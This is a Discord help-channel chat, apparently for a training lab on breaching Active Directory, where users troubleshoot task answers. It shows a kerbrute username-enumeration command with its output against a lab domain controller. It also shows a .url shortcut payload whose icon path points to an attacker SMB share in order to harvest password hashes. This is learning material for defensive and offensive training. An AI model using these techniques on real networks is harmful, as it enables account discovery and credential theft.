intro-to-ad-breaching

[wraith harbor]

🥳

[queen estuary]

[dire sinew]

[queen estuary]

for some reason I keep getting different result for valid usernames found, took few tries to get correct answer

[grave plank]

It also takes so long to run

[queen estuary]

from attackbox it work fine, do not take long

[dusky mortar]

I keep getting the same amount of valid usernames in attackbox and my own machine, but registering incorrect

[zenith sleet]

@dusky mortar Please slow down. Further spam will result in a short timeout.

[dusky mortar]

Did you managed to get correct answer?

[worldly shoal]

Could you maybe share output so I can check? Might be that certain accounts are locking out from the attack?

[dusky mortar]

Shared it with you, couldn’t sent it in this Chanel.

[wraith tartan]

kerbrute userenum -d thm.loc --dc 192.168.12.100 /root/usernames.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 05/13/26 - Ronnie Flathers @ropnop

2026/05/13 17:32:01 >  Using KDC(s):
2026/05/13 17:32:01 >      192.168.12.100:88

2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  [+] VALID USERNAME:     [e-mail]
2026/05/13 17:32:01 >  Done! Tested 101 usernames (43 valid) in 0.219 seconds

Answer is 42, but this shows 43.

[stone hinge]

I also confused. Please remember Task3. Usernames in a specific format are required. I used 'grep -E' command.

By the way, I can't receive password hash(@ Task6). My payload is here. Something wrong?:
strings @Shortcut.url

[InternetShortcut]
URL=http://thm.loc
WorkingDirectory=thm
IconFile=\192.168.21.4\icons\icon.ico
IconIndex=1

[wraith tartan]

Correct

[warm snow]

Same here

[worldly shoal]

I think this is a me problem. I think just before release I made some changes for stability that pushed the count up by one. The easier answer is going to be to update the answer of the question. Will push that through

[manic wraith]

other users already in the share with the same filename pointing to their ip likely cause (can rule it out by logging in and viewing directory) - try renaming the file and re-upload

[stone hinge]

thx

[stone hinge]

I tried to upload same filename once and I downloaded it. I found I could overwrite. The opposite is also true.

[worldly shoal]

Let's see how big of an issue it is. The reason I say this is the script I have is SUPER aggressive. You should get your callback in a matter of seconds. hence why I didn't think to include something like _username so each user basically does cleanup for the next user 😅 But if it becomes too big of an issue, can add a unique tag to each upload.

[manic wraith]

ye- when it happened to me (no connect back) and i saw all those dups of shortcut.url, i had a flashback to that game of tackle called Red Team Capstone Challenge Beta Release - 😅 - that arena helped me troubleshoot this instantly, so looking back- grateful for the experience;)

[slate igloo]

This helped me, thx

[crisp mango]

Gave +1 Rep to @wraith tartan (current: #20 - 543)

[slate igloo]

@wraith harbor could you move to room to the "Recent Release Help" section on Discord? Thx in advance!

[crisp mango]

Gave +1 Rep to @wraith harbor (current: #14 - 663)

[wraith harbor]

Hi, Networks go into this section, even when it is a new release.

[slate igloo]

Ahh yess I forgot